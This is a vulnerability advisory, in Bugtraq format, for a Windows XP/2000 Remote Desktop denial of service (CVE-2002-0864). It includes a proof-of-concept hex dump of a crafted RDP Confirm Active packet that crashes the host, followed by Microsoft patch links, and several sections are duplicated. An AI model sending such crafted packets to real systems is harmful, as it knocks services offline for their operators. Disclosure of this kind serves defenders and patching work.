Microsoft Windows XP Professional Remote Desktop Denial Of Service Vulnerability
BID:5713
Info
Microsoft Windows XP Professional Remote Desktop Denial Of Service Vulnerability
| Bugtraq ID: | 5713 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: |
CVE-2002-0864 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 16 2002 12:00AM |
| Updated: | Jul 11 2009 05:06PM |
| Credit: | Discovery of this issue is credited to Ben Cohen and Pete Chown of Skygate Technology Ltd. |
| Vulnerable: |
Microsoft Windows XP Professional SP1 Microsoft Windows XP Professional Microsoft Windows XP Home SP1 Microsoft Windows XP Home Microsoft Windows XP 64-bit Edition SP1 Microsoft Windows XP 64-bit Edition Microsoft Windows 2000 Terminal Services SP3 Microsoft Windows 2000 Terminal Services SP2 Microsoft Windows 2000 Terminal Services SP1 Microsoft Windows 2000 Terminal Services Microsoft Windows 2000 Server SP3 Microsoft Windows 2000 Server SP2 Microsoft Windows 2000 Server SP1 Microsoft Windows 2000 Server Microsoft Windows 2000 Professional SP3 Microsoft Windows 2000 Professional SP2 Microsoft Windows 2000 Professional SP1 Microsoft Windows 2000 Professional Microsoft Windows 2000 Datacenter Server SP3 Microsoft Windows 2000 Datacenter Server SP2 Microsoft Windows 2000 Datacenter Server SP1 Microsoft Windows 2000 Datacenter Server Microsoft Windows 2000 Advanced Server SP3 Microsoft Windows 2000 Advanced Server SP2 Microsoft Windows 2000 Advanced Server SP1 Microsoft Windows 2000 Advanced Server Microsoft Windows .NET Standard Server Beta 3 |
| Not Vulnerable: |
Microsoft Windows XP Professional SP1 Microsoft Windows XP Home SP1 Microsoft Windows XP 64-bit Edition SP1 |
Discussion
Microsoft Windows XP Professional Remote Desktop Denial Of Service Vulnerability
The Microsoft Windows XP Professional Remote Desktop implementation is prone to a denial of service.
It is possible for a malicious client to trigger this condition by sending a maliciously crafted packet to the vulnerable host during the negotiation of client/server graphics capabilities. Clients may specify drawing commands based on what is supported. If the Pattern BLT command is specified in a packet, Microsoft Windows XP Professional will crash when it tries to render the pattern.
This issue also exists in Microsoft Windows .NET Standard Server Beta 3.
The Microsoft Windows XP Professional Remote Desktop implementation is prone to a denial of service.
It is possible for a malicious client to trigger this condition by sending a maliciously crafted packet to the vulnerable host during the negotiation of client/server graphics capabilities. Clients may specify drawing commands based on what is supported. If the Pattern BLT command is specified in a packet, Microsoft Windows XP Professional will crash when it tries to render the pattern.
This issue also exists in Microsoft Windows .NET Standard Server Beta 3.
Exploit / POC
Microsoft Windows XP Professional Remote Desktop Denial Of Service Vulnerability
The following exploit information was provided:
Shown below is the unencrypted packet contents for the problematic PDU
Confirm Active packet. The only change is from 01 to 00 on the line
indicated.
c4 01 13 00 f0 03 ea 03 01 00 ea 03 06 00 ae 01
4d 53 54 53 43 00 11 00 00 00 01 00 18 00 01 00
03 00 00 02 00 00 00 00 05 04 00 00 00 00 00 00
00 00 02 00 1c 00 08 00 01 00 01 00 01 00 00 05
00 04 00 00 01 00 01 00 00 00 01 00 00 00 03 00
58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 01 00 14 00 00 00 01 00 00 00
2a 00 01 00 01 01 01 00 00 01 01 01 00 01 00 00 <- was "2a 00 01 01"
00 01 01 01 01 01 01 01 01 00 01 01 01 00 00 00
00 00 a1 06 00 00 00 00 00 00 00 84 03 00 00 00
00 00 e4 04 00 00 13 00 28 00 01 00 00 03 78 00
00 00 78 00 00 00 f3 09 00 80 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00
08 00 06 00 00 00 07 00 0c 00 00 00 00 00 00 00
00 00 05 00 0c 00 00 00 00 00 02 00 02 00 08 00
0a 00 01 00 14 00 15 00 09 00 08 00 00 00 00 00
0d 00 58 00 05 00 08 00 09 08 00 00 04 00 00 00
00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0c 00 08 00 01 00 00 00
0e 00 08 00 01 00 00 00 10 00 34 00 fe 00 04 00
fe 00 04 00 fe 00 08 00 fe 00 08 00 fe 00 10 00
fe 00 20 00 fe 00 40 00 fe 00 80 00 fe 00 00 01
40 00 00 08 00 01 00 01 03 00 00 00 0f 00 08 00
01 00 00 00 11 00 0c 00 01 00 00 00 00 0a 64 00
14 00 08 00 01 00 00 00 15 00 0c 00 01 00 00 00
00 0a 00 01
The following exploit information was provided:
Shown below is the unencrypted packet contents for the problematic PDU
Confirm Active packet. The only change is from 01 to 00 on the line
indicated.
c4 01 13 00 f0 03 ea 03 01 00 ea 03 06 00 ae 01
4d 53 54 53 43 00 11 00 00 00 01 00 18 00 01 00
03 00 00 02 00 00 00 00 05 04 00 00 00 00 00 00
00 00 02 00 1c 00 08 00 01 00 01 00 01 00 00 05
00 04 00 00 01 00 01 00 00 00 01 00 00 00 03 00
58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 01 00 14 00 00 00 01 00 00 00
2a 00 01 00 01 01 01 00 00 01 01 01 00 01 00 00 <- was "2a 00 01 01"
00 01 01 01 01 01 01 01 01 00 01 01 01 00 00 00
00 00 a1 06 00 00 00 00 00 00 00 84 03 00 00 00
00 00 e4 04 00 00 13 00 28 00 01 00 00 03 78 00
00 00 78 00 00 00 f3 09 00 80 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00
08 00 06 00 00 00 07 00 0c 00 00 00 00 00 00 00
00 00 05 00 0c 00 00 00 00 00 02 00 02 00 08 00
0a 00 01 00 14 00 15 00 09 00 08 00 00 00 00 00
0d 00 58 00 05 00 08 00 09 08 00 00 04 00 00 00
00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0c 00 08 00 01 00 00 00
0e 00 08 00 01 00 00 00 10 00 34 00 fe 00 04 00
fe 00 04 00 fe 00 08 00 fe 00 08 00 fe 00 10 00
fe 00 20 00 fe 00 40 00 fe 00 80 00 fe 00 00 01
40 00 00 08 00 01 00 01 03 00 00 00 0f 00 08 00
01 00 00 00 11 00 0c 00 01 00 00 00 00 0a 64 00
14 00 08 00 01 00 00 00 15 00 0c 00 01 00 00 00
00 0a 00 01
Solution / Fix
Microsoft Windows XP Professional Remote Desktop Denial Of Service Vulnerability
Solution:
Microsoft has released patches:
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows XP Home
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows XP Home SP1
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Terminal Services SP3
Microsoft Windows XP 64-bit Edition SP1
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Server SP3
Microsoft Windows XP 64-bit Edition
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Terminal Services SP2
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Professional SP3
Microsoft Windows XP Professional
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Terminal Services SP1
Microsoft Windows XP Professional SP1
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Terminal Services
Microsoft Windows 2000 Server
Solution:
Microsoft has released patches:
Microsoft Windows 2000 Professional
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows 2000 Server SP2
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows 2000 Advanced Server SP3
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows XP Home
-
Microsoft Q324380
This patch addresses RDP 5.1 included with Windows XP Home/Professional.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41288 -
Microsoft Windows XP Service Pack 1
http://www.microsoft.com/WindowsXP/pro/downloads/servicepacks/sp1/defa ult.asp
Microsoft Windows 2000 Advanced Server SP1
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows XP Home SP1
-
Microsoft Q324380
This patch addresses RDP 5.1 included with Windows XP Home/Professional.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41288
Microsoft Windows 2000 Advanced Server SP2
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows 2000 Datacenter Server SP3
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows 2000 Terminal Services SP3
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows XP 64-bit Edition SP1
-
Microsoft Q324380
This patch addresses RDP 5.1 included with Windows XP 64 bit Edition.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41314
Microsoft Windows 2000 Professional SP1
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows 2000 Server SP3
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows XP 64-bit Edition
-
Microsoft Q324380
This patch addresses RDP 5.1 included with Windows XP 64 bit Edition.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41314 -
Microsoft Windows XP Service Pack 1
http://www.microsoft.com/WindowsXP/pro/downloads/servicepacks/sp1/defa ult.asp
Microsoft Windows 2000 Datacenter Server SP2
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows 2000 Terminal Services SP2
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows 2000 Server SP1
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows 2000 Professional SP3
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows XP Professional
-
Microsoft Q324380
This patch addresses RDP 5.1 included with Windows XP Home/Professional.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41288 -
Microsoft Windows XP Service Pack 1
http://www.microsoft.com/WindowsXP/pro/downloads/servicepacks/sp1/defa ult.asp
Microsoft Windows 2000 Professional SP2
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows 2000 Terminal Services SP1
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows XP Professional SP1
-
Microsoft Q324380
This patch addresses RDP 5.1 included with Windows XP Home/Professional.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41288
Microsoft Windows 2000 Advanced Server
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows 2000 Terminal Services
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326
Microsoft Windows 2000 Server
-
Microsoft Q324380
This patch addresses RDP 5.0 included with Windows 2000.
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41326